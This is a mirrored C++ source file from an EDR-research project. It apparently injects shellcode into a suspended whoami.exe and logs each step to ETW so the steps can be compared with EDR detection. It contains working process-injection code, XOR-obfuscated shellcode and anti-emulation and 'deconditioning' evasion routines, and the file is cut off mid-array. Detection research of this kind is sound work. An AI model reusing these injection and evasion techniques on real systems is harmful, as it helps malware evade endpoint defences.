mirror of
https://github.com/cailllev/EDR-Introspection
synced 2026-06-08 13:27:03 +00:00
cailllev
365 lines
34 KiB
C++
365 lines
34 KiB
C++
#include <windows.h>
|
|
#include <chrono>
|
|
#include <iostream>
|
|
#include <iomanip>
|
|
#include <fstream>
|
|
#include <sstream>
|
|
#include <thread>
|
|
#include <TraceLoggingProvider.h>
|
|
|
|
|
|
// paths
|
|
std::string outFile = "C:\\Users\\Public\\Downloads\\attack-output.csv";
|
|
LPCWSTR procToInject = L"C:\\Windows\\System32\\whoami.exe";
|
|
|
|
// my attack provider
|
|
TRACELOGGING_DEFINE_PROVIDER(
|
|
g_hProvider,
|
|
"Attack-Provider", // name in the ETW
|
|
(0x72248466, 0x7166, 0x4feb, 0xa3, 0x86, 0x34, 0xd8, 0xf3, 0x5b, 0xb6, 0x37) // a random GUID
|
|
);
|
|
|
|
int sleep_between_steps_ms = 970; // time to wait between attack steps
|
|
|
|
UINT64 get_ns_time() {
|
|
auto now = std::chrono::system_clock::now();
|
|
return std::chrono::duration_cast<std::chrono::nanoseconds>(now.time_since_epoch()).count();
|
|
}
|
|
|
|
void print_and_emit_event(std::string msg, std::string pre) {
|
|
UINT64 ns = get_ns_time();
|
|
TraceLoggingWrite(
|
|
g_hProvider,
|
|
"AttackTask", // this is the event name
|
|
TraceLoggingValue(msg.c_str(), "message"),
|
|
TraceLoggingUInt64(ns, "ns_since_epoch")
|
|
);
|
|
std::cout << pre << msg << "\n";
|
|
}
|
|
|
|
|
|
int main(int argc, char** argv) {
|
|
// start ETW provider
|
|
TraceLoggingRegister(g_hProvider);
|
|
|
|
std::ostringstream msg;
|
|
std::string bef = "[<] ";
|
|
std::string aft = "[>] ";
|
|
std::string fail = "[!] ";
|
|
std::string ok = "[+] ";
|
|
|
|
// anti_emulation should be one of the first actions in the EXE
|
|
#if defined anti_emulation_sleep
|
|
msg << "Doing anti emulation sleep for 5 sec";
|
|
print_and_emit_event(msg.str(), ok); msg.str({}); msg.clear();
|
|
auto start_ae_sleep = std::chrono::high_resolution_clock::now();
|
|
std::this_thread::sleep_for(std::chrono::seconds(5));
|
|
auto end_ae_sleep = std::chrono::high_resolution_clock::now();
|
|
auto ae_sleep_elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_ae_sleep - start_ae_sleep).count();
|
|
msg << "Slept for approximately " << ae_sleep_elapsed << " ms";
|
|
print_and_emit_event(msg.str(), ok); msg.str({}); msg.clear();
|
|
#endif
|
|
|
|
// deconditioning depends on anti_emulation + obfuscation (anti-signature)
|
|
#if defined anti_emulation_calc || defined deconditioning_alloc || defined deconditioning_calc
|
|
msg << "Doing anti emulation calc operations for about 5 sec";
|
|
print_and_emit_event(msg.str(), ok); msg.str({}); msg.clear();
|
|
auto start_ae_calc = std::chrono::high_resolution_clock::now();
|
|
volatile bool dummy_ae_calc; // do no optimze "calc prime" loop away
|
|
for (UINT64 n = 2; n <= 20'000'000; ++n) { bool pr = true; for (UINT64 i = 2; i * i <= n; ++i) { if (n % i == 0) { pr = false; break; } } dummy_ae_calc = pr; }
|
|
auto end_ae_calc = std::chrono::high_resolution_clock::now();
|
|
auto ae_calc_elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_ae_calc - start_ae_calc).count();
|
|
msg << "Calculated for approximately " << ae_calc_elapsed << " ms";
|
|
print_and_emit_event(msg.str(), ok); msg.str({}); msg.clear();
|
|
#endif
|
|
|
|
enum StartupMode { NoWait, WaitTime, WaitForEnter };
|
|
StartupMode s = NoWait;
|
|
int wait_time = 5;
|
|
|
|
if (argc == 1) {
|
|
// default
|
|
}
|
|
if (argc >= 2) {
|
|
if (strcmp(argv[1], "--wait") == 0) {
|
|
s = WaitTime;
|
|
}
|
|
if (strcmp(argv[1], "--wait-enter") == 0) {
|
|
s = WaitForEnter;
|
|
}
|
|
}
|
|
|
|
// print current
|
|
msg << "Injector started with PID " << GetCurrentProcessId();
|
|
print_and_emit_event(msg.str(), ok); msg.str({}); msg.clear();
|
|
Sleep(sleep_between_steps_ms);
|
|
|
|
// handle config selection
|
|
msg << "Running '";
|
|
#if defined standard
|
|
msg << "standard";
|
|
#elif defined obfuscation
|
|
msg << "obfuscation";
|
|
#elif defined anti_emulation_sleep
|
|
msg << "anti_emulation_sleep";
|
|
#elif defined anti_emulation_calc
|
|
msg << "anti_emulation_calc";
|
|
#elif defined deconditioning_alloc
|
|
msg << "deconditioning_alloc";
|
|
#elif defined deconditioning_calc
|
|
msg << "deconditioning_calc";
|
|
#else
|
|
msg << "Release";
|
|
// handle start params only in 'Release' config
|
|
switch (s) {
|
|
case NoWait:
|
|
break;
|
|
case WaitTime:
|
|
for (int i = wait_time; i > 0; i--) {
|
|
std::cout << "[*] Starting injection in " << i << "\n";
|
|
Sleep(1000);
|
|
};
|
|
break;
|
|
case WaitForEnter:
|
|
std::cout << "[*] Press ENTER to start injection...\n";
|
|
std::cin.get();
|
|
default:
|
|
break;
|
|
}
|
|
#endif
|
|
msg << "' config";
|
|
print_and_emit_event(msg.str(), ok); msg.str({}); msg.clear();
|
|
|
|
msg << "Before starting subprocess to inject to";
|
|
print_and_emit_event(msg.str(), bef); msg.str({}); msg.clear();
|
|
|
|
// start new process to inject to
|
|
STARTUPINFO si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
if (!CreateProcess(procToInject, nullptr, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)) {
|
|
msg << "[!] Failed to start process: " << GetLastError();
|
|
print_and_emit_event(msg.str(), fail); msg.str({}); msg.clear();
|
|
return 1;
|
|
}
|
|
|
|
msg << "After starting subprocess with PID " << pi.dwProcessId;
|
|
print_and_emit_event(msg.str(), aft); msg.str({}); msg.clear();
|
|
Sleep(sleep_between_steps_ms);
|
|
|
|
msg << "Before opening process handle";
|
|
print_and_emit_event(msg.str(), bef); msg.str({}); msg.clear();
|
|
|
|
// open process with read/write access
|
|
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pi.dwProcessId);
|
|
if (!hProcess) {
|
|
msg << "Failed to open process: " << GetLastError();
|
|
print_and_emit_event(msg.str(), fail); msg.str({}); msg.clear();
|
|
return 1;
|
|
}
|
|
|
|
msg << "After opening process handle";
|
|
print_and_emit_event(msg.str(), aft); msg.str({}); msg.clear();
|
|
Sleep(sleep_between_steps_ms);
|
|
|
|
#if defined deconditioning_alloc // https://github.com/dobin/SuperMega/blob/main/data/source/antiemulation/sirallocalot.c
|
|
BYTE nonsense[4096] = {};
|
|
constexpr int rounds = 100;
|
|
int repetitions = 10; // one repetition is about 0.01 sec (with waiting for thread and freeing memory), according to CPU time with Get-Process
|
|
for (int n = 0; n < repetitions; n++) {
|
|
|
|
msg << "Starting deconditioning round " << n;
|
|
print_and_emit_event(msg.str(), ok); msg.str({}); msg.clear();
|
|
|
|
for (int i = 0; i < sizeof(nonsense) / sizeof(nonsense[0]); i++) {
|
|
nonsense[i] = 0x90; // huiiiiiiiiiii
|
|
}
|
|
// xor eax, eax; ret
|
|
nonsense[4093] = 0x31;
|
|
nonsense[4094] = 0xC9;
|
|
nonsense[4095] = 0xC3;
|
|
|
|
void* allocs[rounds] = { 0 };
|
|
for (int i = 0; i < sizeof(allocs) / sizeof(allocs[0]); i++) {
|
|
LPVOID alloc_addr = VirtualAllocEx(hProcess, nullptr, sizeof(nonsense), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
if (!alloc_addr) {
|
|
allocs[i] = 0;
|
|
msg << "Failed to alloc mem in round " << n << "-" << i << " , error=" << GetLastError();
|
|
print_and_emit_event(msg.str(), fail); msg.str({}); msg.clear();
|
|
continue;
|
|
}
|
|
allocs[i] = alloc_addr;
|
|
if (!WriteProcessMemory(hProcess, alloc_addr, &nonsense, sizeof(nonsense), NULL)) {
|
|
msg << "Failed to write mem in round " << n << "-" << i << " , error=" << GetLastError();
|
|
print_and_emit_event(msg.str(), fail); msg.str({}); msg.clear();
|
|
continue;
|
|
}
|
|
DWORD old_protect;
|
|
if (!VirtualProtectEx(hProcess, alloc_addr, sizeof(nonsense), PAGE_EXECUTE_READ, &old_protect)) {
|
|
msg << "Failed to change mem to RX in round " << n << "-" << i << " , error=" << GetLastError();
|
|
print_and_emit_event(msg.str(), fail); msg.str({}); msg.clear();
|
|
continue;
|
|
}
|
|
HANDLE hThreadDecon = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)alloc_addr, nullptr, 0, nullptr);
|
|
if (!hThreadDecon) {
|
|
msg << "Failed to create remote thread in round " << n << "-" << i << " , error=" << GetLastError();
|
|
print_and_emit_event(msg.str(), fail); msg.str({}); msg.clear();
|
|
continue;
|
|
}
|
|
else {
|
|
WaitForSingleObject(hThreadDecon, INFINITE);
|
|
CloseHandle(hThreadDecon);
|
|
}
|
|
|
|
}
|
|
|
|
for (int i = 0; i < sizeof(allocs) / sizeof(allocs[0]); i++) {
|
|
if (allocs[i] != 0 && !VirtualFreeEx(hProcess, allocs[i], 0, MEM_RELEASE)) {
|
|
msg << "Failed to free mem in round " << n << "-" << i << " , error=" << GetLastError();
|
|
print_and_emit_event(msg.str(), fail); msg.str({}); msg.clear();
|
|
}
|
|
}
|
|
|
|
msg << "Finished deconditioning round " << n;
|
|
print_and_emit_event(msg.str(), ok); msg.str({}); msg.clear();
|
|
Sleep(sleep_between_steps_ms * 3); // poor AntiMalware-ETW is too slow to keep up
|
|
}
|
|
#endif
|
|
|
|
#if defined deconditioning_calc
|
|
msg << "Doing deconditioning calc operations for about 60 sec";
|
|
print_and_emit_event(msg.str(), ok); msg.str({}); msg.clear();
|
|
auto start_decon_calc = std::chrono::high_resolution_clock::now();
|
|
volatile bool dummy_decon_calc; // do no optimze "calc prime" loop away
|
|
for (UINT64 n = 2; n <= 90'000'000; ++n) { bool pr = true; for (UINT64 i = 2; i * i <= n; ++i) { if (n % i == 0) { pr = false; break; } } dummy_decon_calc = pr; }
|
|
auto end_decon_calc = std::chrono::high_resolution_clock::now();
|
|
auto decon_calc_elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_decon_calc - start_decon_calc).count();
|
|
msg << "Calculated for approximately " << decon_calc_elapsed << " ms";
|
|
print_and_emit_event(msg.str(), ok); msg.str({}); msg.clear();
|
|
Sleep(sleep_between_steps_ms);
|
|
#endif
|
|
|
|
// antiemulation and deconditioning also depend on obfuscation (anti signature)
|
|
#if defined obfuscation || defined antiemulation_sleep || defined antiemulation_calc || defined deconditioning_alloc || defined deconditioning_calc
|
|
msg << "Before decrypting shellcode";
|
|
print_and_emit_event(msg.str(), bef); msg.str({}); msg.clear();
|
|
|
|
// https://cyberchef.org/#recipe=From_Hex('Auto')XOR(%7B'option':'UTF8','string':'AB'%7D,'Standard',false)To_Hex('0x%20with%20comma',0)&input=
|
|
BYTE shellcode[] = { 0x17,0x0a,0xc8,0xa4,0x09,0xc1,0xa5,0xb2,0x09,0xc1,0xad,0x62,0x09,0xcf,0x05,0x66,0x69,0x0a,0xc8,0x81,0x09,0xcf,0x44,0xa7,0xbe,0xbd,0xbe,0x0a,0xc8,0x06,0x65,0x72,0x09,0xcf,0x44,0xa3,0x47,0x42,0x41,0x0a,0xc8,0x06,0x65,0x7a,0xa9,0x45,0x41,0x42,0x41,0x0a,0xc8,0xb6,0x1f,0x81,0x4e,0x49,0x14,0xfb,0x44,0x42,0x41,0x42,0x09,0xcb,0xa4,0x03,0x15,0x15,0x09,0xcf,0x3c,0x8e,0x17,0x0a,0xcc,0x77,0x99,0x47,0x41,0x42,0x09,0xc1,0xad,0x0a,0xb2,0xe7,0x09,0xcf,0x0c,0x8e,0x08,0xcb,0xa5,0xaa,0x97,0x40,0x41,0x42,0xc2,0xba,0xbe,0x37,0x51,0x0a,0xcc,0x57,0x2b,0x47,0x41,0x42,0x09,0xcf,0x4c,0x2c,0x44,0x42,0x41,0xa9,0x09,0xcb,0x80,0xaa,0x4b,0x46,0x41,0x42,0x09,0xc7,0x81,0x37,0x51,0x0a,0xcc,0x57,0x0f,0x47,0x41,0x42,0x09,0xcf,0x4c,0x20,0x44,0x42,0x41,0xa9,0x6d,0x0a,0xc0,0xae,0x41,0x52,0x41,0x42,0x00,0xfa,0x41,0x52,0x41,0x42,0x09,0xcb,0x80,0x0a,0xcc,0x16,0x65,0x62,0xa9,0x59,0x45,0x42,0x41,0xc6,0x81,0x37,0x54,0x0a,0xcc,0x57,0x61,0x47,0x41,0x42,0x09,0xcf,0x4c,0x0b,0x44,0x42,0x41,0xaa,0x35,0x43,0x41,0x42,0xaa,0x54,0x0d,0xcf,0x44,0x17,0x44,0x42,0x41,0xf8,0x41,0x46,0x41,0x42,0x09,0xcf,0x0d,0x66,0x61,0xaa,0x8d,0x43,0x41,0x42,0x0d,0xcb,0xa5,0x0a,0xcc,0x27,0xa9,0x1c,0x1e,0x03,0x1d,0x1f,0x82,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0x24,0x0a,0xca,0x56,0x64,0x22,0x41,0x42,0x41,0x0a,0xc8,0x92,0x09,0xc7,0x93,0x36,0x10,0x0a,0xca,0x00,0x59,0x0a,0xc4,0x82,0x35,0x0a,0x08,0xcb,0x88,0x0a,0xca,0x0a,0x61,0x0e,0xcc,0x1a,0x61,0x0e,0x78,0x9b,0x35,0x77,0x0d,0xc9,0x10,0x12,0x04,0x73,0x81,0x0f,0xc4,0x90,0x35,0x66,0x27,0x01,0xca,0x46,0x43,0x24,0x02,0xc9,0x55,0x43,0x27,0xc7,0x81,0x36,0x46,0x24,0xc4,0x90,0x34,0x5b,0xaa,0x4c,0x4e,0xf5,0x83,0xb5,0x99,0xc7,0x81,0x37,0x44,0x0a,0xca,0x03,0x61,0x81,0x09,0xc9,0x48,0xa9,0x87,0x73,0x81,0x81,0x82,0x14,0xcc,0x32,0xfe,0x24,0xc2,0xbc,0x58,0x35,0x42,0xc1,0x81,0x62,0xcc,0x30,0xfe,0x24,0xc2,0xbc,0x58,0x35,0x42,0xc1,0x83,0x62,0x08,0xc1,0x81,0x40,0x27,0x7b,0x91,0x36,0x62,0x4d,0xf6,0x82,0x4e,0xf5,0x93,0x6b,0x91,0xa9,0x6c,0x24,0xc4,0x90,0x34,0x92,0x09,0xc9,0x48,0x0e,0x78,0x9b,0x35,0x68,0x0d,0xc9,0x10,0x12,0x04,0x73,0x81,0x0f,0xc4,0x90,0x35,0xae,0x27,0x01,0xca,0x46,0x43,0x24,0x02,0xc9,0x55,0x43,0x27,0xc7,0x81,0x37,0x99,0x4d,0xf6,0x80,0xb6,0x9a,0xc4,0x82,0x34,0x96,0x09,0xc9,0x00,0x62,0xaa,0x40,0x70,0x82,0x1f,0x81,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0x16,0x0a,0xc8,0x8a,0x17,0x0a,0x22,0x0b,0x7d,0x06,0xca,0xc6,0x49,0xca,0x41,0x42,0x41,0x73,0x88,0x0b,0x40,0x82,0x04,0xc9,0x11,0x62,0x08,0x43,0x83,0x07,0xca,0x5e,0xcb,0x07,0x70,0x8b,0x08,0x43,0x82,0x01,0xcb,0x7e,0x4a,0x00,0xcb,0x76,0x4b,0x02,0xc5,0xbd,0x35,0x48,0x08,0xbd,0x80,0x02,0x79,0xb5,0x35,0xa9,0xaa,0x47,0x01,0xc6,0xb7,0x36,0x44,0x0a,0xbe,0x83,0xaa,0x97,0x00,0xc9,0x11,0x66,0x09,0x43,0x88,0x1c,0x09,0x43,0x80,0x1d,0x4e,0xf5,0x4d,0x53,0x00,0xc9,0x11,0x5e,0x09,0xcf,0x4d,0xca,0xca,0x56,0x50,0x0a,0x40,0x92,0x82,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0x16,0x0a,0xc8,0x95,0x17,0x0a,0xc8,0x8c,0x09,0xcf,0x4c,0x43,0x45,0x42,0x41,0x0a,0xc2,0xae,0x69,0xaa,0xe9,0xbc,0xbe,0xbd,0x09,0xcf,0x54,0x49,0x45,0x42,0x41,0x0a,0xc8,0x83,0xa9,0x2b,0xbe,0xbd,0xbe,0x0a,0xcc,0x4f,0x48,0x46,0x41,0x42,0xbe,0x92,0x09,0xc7,0x81,0x36,0x66,0x0a,0xcc,0x57,0x47,0x46,0x41,0x42,0x09,0xcb,0x80,0xaa,0x0d,0xbd,0xbe,0xbd,0x09,0xc7,0x81,0x36,0x52,0x0a,0xc2,0x86,0x69,0x0b,0xc8,0xba,0x09,0xcb,0xb3,0x07,0x70,0x8b,0x1f,0x73,0x88,0x1d,0xbe,0xa2,0x09,0xc1,0x85,0x6a,0x1f,0x1d,0x82,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0x14,0x03,0xc8,0x93,0x40,0x90,0x08,0xcb,0x8a,0xcf,0x03,0x43,0x09,0xda,0x09,0xcb,0xa4,0x14,0x09,0xc1,0x81,0x4d,0x09,0xc1,0xa1,0xb2,0x09,0xc1,0xad,0x0a,0x09,0x6b,0x85,0x84,0x04,0xad,0x41,0x0a,0xf9,0x72,0x70,0x70,0x72,0x76,0x74,0x74,0x76,0x0a,0xc8,0x07,0x9e,0x0a,0xcc,0x0e,0x65,0x62,0x09,0xfa,0x79,0x7b,0x00,0x00,0x02,0x06,0x04,0x04,0x09,0xcb,0x04,0xa5,0x70,0x82,0x00,0x7b,0x80,0x3c,0x6b,0x07,0xcb,0x56,0x42,0x06,0xc8,0x94,0x00,0xc1,0xa3,0x4d,0x01,0x82,0xaf,0x46,0x07,0xc8,0x15,0x57,0x9e,0xc1,0xa7,0x4d,0x01,0xc8,0x35,0x77,0x9e,0x06,0xc9,0x16,0x00,0x43,0x01,0xca,0x75,0x03,0x09,0xbd,0x81,0xa9,0x90,0x0a,0x22,0x90,0x87,0x46,0x50,0x42,0x0d,0xcb,0x83,0xaa,0x4b,0xbd,0xbe,0xbd,0x09,0xc9,0x34,0xba,0x88,0x81,0xd1,0xd2,0xd1,0xd2,0x00,0x16,0x14,0x15,0x09,0xcb,0x8e,0x0a,0xcc,0x4f,0x01,0x41,0x41,0x42,0x17,0x0a,0xc2,0xae,0x79,0xaa,0xe9,0xbf,0xbe,0xbd,0x09,0xc7,0x81,0x4d,0xc5,0x52,0x40,0x42,0x41,0x0a,0xcc,0x4f,0xa9,0x40,0x41,0x42,0x09,0xcb,0x84,0xaa,0xd1,0xbf,0xbe,0xbd,0x09,0xcb,0x87,0x0a,0xc4,0x82,0x4e,0xc6,0xb4,0x42,0x41,0x42,0x09,0xcb,0xa8,0x0a,0xcc,0x57,0x5d,0x41,0x41,0x42,0xa9,0x07,0xbf,0xbd,0xbe,0x0a,0xc8,0x87,0x09,0xc7,0x81,0x4d,0xc5,0x98,0x41,0x42,0x41,0x0a,0xc8,0xb3,0x09,0xcf,0x54,0x58,0x42,0x42,0x41,0xaa,0x6b,0xbc,0xbe,0xbd,0x09,0xcb,0x87,0x0a,0xc4,0x82,0x4e,0xc6,0xfe,0x42,0x41,0x42,0x70,0x82,0x04,0x73,0x81,0x73,0x93,0xfb,0x44,0x42,0x41,0x42,0xc8,0x06,0x65,0x6e,0x0d,0xcf,0x0d,0x66,0x6d,0xbd,0x94,0x7f,0x45,0x42,0x41,0x82,0x4e,0xc7,0xdc,0x42,0x41,0x42,0x70,0x8b,0xca,0x16,0x65,0x6e,0x00,0xfb,0x45,0x42,0x41,0x42,0x00,0xfa,0x41,0x72,0x41,0x42,0xbe,0x94,0x05,0xc9,0x05,0x66,0x6d,0x0e,0xcc,0x0e,0x65,0x6e,0xf8,0x47,0x41,0x42,0x41,0x0a,0xc8,0x84,0x09,0xcb,0x83,0xbd,0x94,0xc7,0x81,0x37,0x2f,0x0e,0xca,0x04,0x01,0x0f,0xc4,0x82,0x35,0x18,0x27,0xc1,0x3f,0x7a,0x41,0x36,0x12,0x73,0x88,0x24,0x00,0xc9,0x45,0x4a,0x27,0xc9,0x55,0x4d,0x27,0xc7,0x81,0x36,0x75,0x24,0xc4,0x90,0x35,0x7c,0x05,0xcf,0x09,0xfd,0x27,0x03,0xc2,0xbb,0x58,0x35,0x42,0xc1,0x81,0x62,0x05,0xcf,0x0b,0xfd,0x27,0x03,0xc2,0xbb,0x58,0x35,0x42,0xc1,0x83,0x62,0x09,0xc1,0x80,0x40,0x27,0x7b,0x91,0x36,0x89,0x4d,0xf6,0x82,0x4e,0xf5,0x93,0x6b,0x91,0xa9,0x44,0x4d,0xf6,0x80,0xb6,0x9a,0xc4,0x82,0x34,0x44,0x09,0xc9,0x07,0x12,0xaa,0x50,0xca,0x44,0xc4,0x82,0x35,0x47,0x09,0x43,0x87,0xa9,0xd3,0x0a,0x86,0x82,0xbe,0xbd,0xbe,0xbd,0x09,0xc1,0x85,0x7a,0x1f,0x1d,0x1c,0x03,0x1d,0x81,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0x17,0xcb,0x8f,0x0a,0xcc,0x4f,0xf7,0x43,0x41,0x42,0x09,0xc1,0xad,0x62,0xa9,0x1f,0xbd,0xbd,0xbe,0x0a,0xcc,0x57,0x5f,0x40,0x41,0x42,0x09,0xcb,0x80,0xaa,0x5f,0xbf,0xbe,0xbd,0x09,0xc1,0x85,0x62,0x00,0xcb,0xb1,0x73,0x93,0xfb,0xbe,0xbd,0x5e,0x42,0x1f,0xbd,0xa1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0x00,0x14,0x00,0x17,0x0c,0xcb,0x84,0x03,0x15,0x0b,0xc8,0x96,0x14,0x15,0x17,0x0a,0xc8,0x8c,0x09,0xcf,0x4c,0xe7,0x40,0x42,0x41,0x0a,0xc0,0xae,0xf9,0x42,0x41,0x42,0xa9,0x49,0xbd,0xbd,0xbe,0x0a,0xc4,0x82,0x34,0x45,0x70,0x82,0xa8,0x84,0x41,0x42,0x41,0x0a,0xcc,0x57,0x8d,0x43,0x41,0x42,0x09,0xcb,0x80,0x0a,0xc8,0x85,0xa9,0xff,0xbd,0xbd,0xbe,0x0b,0xc8,0x84,0x09,0xc7,0x81,0x36,0x9e,0x0a,0xcc,0x57,0x8d,0x43,0x41,0x42,0x09,0xcb,0xb8,0xaa,0xe7,0xbe,0xbe,0xbd,0x09,0xcb,0x84,0x0a,0xc4,0x82,0x35,0x8a,0x70,0x82,0x09,0xcf,0x3d,0x66,0x09,0xfb,0x4d,0x42,0x41,0x42,0x70,0x90,0xb2,0xe9,0x09,0xcf,0x05,0x66,0x7d,0xcb,0x15,0x66,0x7d,0x0a,0xc8,0xb3,0x70,0x90,0x09,0xcb,0x05,0x66,0x61,0x03,0xf8,0x72,0x41,0x42,0x41,0x0e,0xcc,0x06,0x65,0x0a,0x00,0xbd,0x97,0xc7,0x81,0x37,0xd2,0x0a,0xcc,0x3e,0x65,0x3a,0xf8,0x4c,0x41,0x42,0x41,0x0a,0xca,0x16,0x65,0x12,0x00,0xfb,0x79,0x42,0x41,0x42,0xb2,0xe9,0x70,0x82,0x09,0xcf,0x3d,0x66,0x01,0x0e,0xcc,0x06,0x65,0x3a,0x09,0xcb,0x05,0x66,0x01,0x0a,0xc8,0xb3,0x09,0xcb,0x3d,0x66,0x61,0xbd,0x94,0xc7,0x81,0x4d,0xc4,0x1b,0xbe,0xbd,0xbe,0x0a,0xca,0xd6,0x65,0xea,0x41,0x42,0x41,0x0a,0xc4,0x90,0x4e,0xc6,0x09,0xbd,0xbe,0xbd,0x09,0xcb,0x3d,0x66,0x61,0x0f,0xc8,0xab,0x0c,0xcb,0xa1,0x0a,0xc8,0xb3,0xbe,0x97,0xc4,0x82,0x4e,0xd6,0x81,0x0a,0xc0,0x86,0xf9,0x42,0x41,0x42,0x1f,0x1d,0x1c,0x03,0x1d,0x03,0x1c,0x03,0x1f,0x81,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0xd1,0xd2,0x2c,0x23,0x28,0x2c,0x61,0x27,0x33,0x30,0x2e,0x30,0x41,0x05,0x24,0x36,0x61,0x32,0x28,0x26,0x61,0x24,0x20,0x2b,0x2d,0x27,0x25,0x63,0x41,0x17,0x2f,0x23,0x23,0x2e,0x24,0x62,0x35,0x2d,0x61,0x2d,0x31,0x27,0x2f,0x62,0x31,0x30,0x2e,0x21,0x60,0x42,0x13,0x27,0x20,0x26,0x61,0x32,0x33,0x2d,0x22,0x27,0x32,0x31,0x61,0x2a,0x24,0x23,0x31,0x62,0x27,0x23,0x28,0x2e,0x24,0x26,0x60,0x42,0x29,0x27,0x20,0x32,0x41,0x42,0x2d,0x42,0x32,0x42,0x20,0x42,0x32,0x42,0x32,0x42,0x6f,0x42,0x24,0x42,0x39,0x42,0x24,0x42,0x41,0x42,0x41,0x42,0x41,0x42,0x41,0x42,0x41,0x42,0x41,0x42,0x41,0x42,0x2a,0x42,0x24,0x42,0x33,0x42,0x2f,0x42,0x24,0x42,0x2d,0x42,0x72,0x42,0x73,0x42,0x6f,0x42,0x25,0x42,0x2d,0x42,0x2d,0x42,0x41,0x42,0x0d,0x2d,0x20,0x26,0x0d,0x2b,0x23,0x30,0x20,0x30,0x38,0x03,0x41,0x37,0x32,0x27,0x33,0x71,0x73,0x6c,0x25,0x2e,0x2d,0x42,0x0c,0x27,0x32,0x31,0x20,0x25,0x24,0x00,0x2e,0x3a,0x00,0x42,0x2f,0x42,0x35,0x42,0x25,0x42,0x2d,0x42,0x2d,0x42,0x6f,0x42,0x25,0x42,0x2d,0x42,0x2d,0x42,0x41,0x42,0x1b,0x35,0x10,0x37,0x24,0x30,0x38,0x11,0x38,0x31,0x35,0x27,0x2c,0x0b,0x2f,0x24,0x2e,0x30,0x2c,0x23,0x35,0x2b,0x2e,0x2c,0x41,0x14,0x28,0x30,0x35,0x37,0x20,0x2e,0x00,0x2e,0x2d,0x2d,0x22,0x42,0x0e,0x32,0x24,0x2c,0x11,0x30,0x2e,0x21,0x24,0x31,0x32,0x42,0x1b,0x35,0x10,0x37,0x24,0x30,0x38,0x0b,0x2f,0x24,0x2e,0x30,0x2c,0x23,0x35,0x2b,0x2e,0x2c,0x11,0x30,0x2e,0x21,0x24,0x31,0x32,0x42,0x0f,0x36,0x13,0x27,0x20,0x26,0x17,0x2b,0x33,0x36,0x34,0x23,0x2d,0x0f,0x24,0x2f,0x2e,0x30,0x38,0x42,0x41,0x42,0x41,0x42,0x41,0x42,0x41,0x42,0x41,0x42,0x41,0x42,0x41,0x42 };
|
|
for (size_t i = 0; i < sizeof(shellcode) / sizeof(shellcode[0]); ++i) { shellcode[i] ^= ((i & 1) == 0 ? 0x41 : 0x42); }
|
|
|
|
msg << "After decrypting shellcode";
|
|
print_and_emit_event(msg.str(), aft); msg.str({}); msg.clear();
|
|
Sleep(sleep_between_steps_ms);
|
|
#else
|
|
// byte array of value to write
|
|
// $f = "$(pwd)\file.bin"; $bytes = [IO.File]::ReadAllBytes($f); $s = 'BYTE shellcode[] = { ' + (($bytes | ForEach-Object { '0x{0:X2}' -f $_ }) -join ', ') + ' };'; sc -Path "$f.arr" -Value $s
|
|
// EPIC hello world example:
|
|
BYTE shellcode[] = { 0x56, 0x48, 0x89, 0xE6, 0x48, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8D, 0x44, 0x24, 0x28, 0x48, 0x89, 0xC3, 0x48, 0x8D, 0x05, 0xE5, 0xFF, 0xFF, 0xFF, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8D, 0x05, 0xE1, 0x06, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x38, 0xE8, 0x07, 0x00, 0x00, 0x00, 0x48, 0x89, 0xF4, 0x5E, 0xC3, 0x0F, 0x0B, 0x55, 0xB9, 0x05, 0x00, 0x00, 0x00, 0x48, 0x89, 0xE5, 0x41, 0x54, 0x57, 0x48, 0x8D, 0x7D, 0xCC, 0x56, 0x48, 0x8D, 0x35, 0xD8, 0x05, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x48, 0xF3, 0xA5, 0x48, 0x8D, 0x4D, 0xCC, 0x49, 0x89, 0xE4, 0xE8, 0xD6, 0x02, 0x00, 0x00, 0x83, 0xF8, 0xFF, 0x75, 0x10, 0x48, 0x8D, 0x15, 0x6A, 0x05, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x6E, 0x05, 0x00, 0x00, 0xEB, 0x48, 0x89, 0xC1, 0xE8, 0x0A, 0x04, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x75, 0x10, 0x48, 0x8D, 0x15, 0x4E, 0x05, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x62, 0x05, 0x00, 0x00, 0xEB, 0x2C, 0x48, 0x81, 0xEC, 0x00, 0x10, 0x00, 0x00, 0x41, 0xB8, 0x00, 0x10, 0x00, 0x00, 0x48, 0x89, 0xC1, 0x48, 0x8D, 0x54, 0x24, 0x20, 0xE8, 0x1B, 0x04, 0x00, 0x00, 0x84, 0xC0, 0x75, 0x15, 0x48, 0x8D, 0x15, 0x20, 0x05, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x49, 0x05, 0x00, 0x00, 0xE8, 0x74, 0x01, 0x00, 0x00, 0xEB, 0x16, 0x4C, 0x8D, 0x05, 0x55, 0x05, 0x00, 0x00, 0xBA, 0x00, 0x04, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xE8, 0xCC, 0x01, 0x00, 0x00, 0x4C, 0x89, 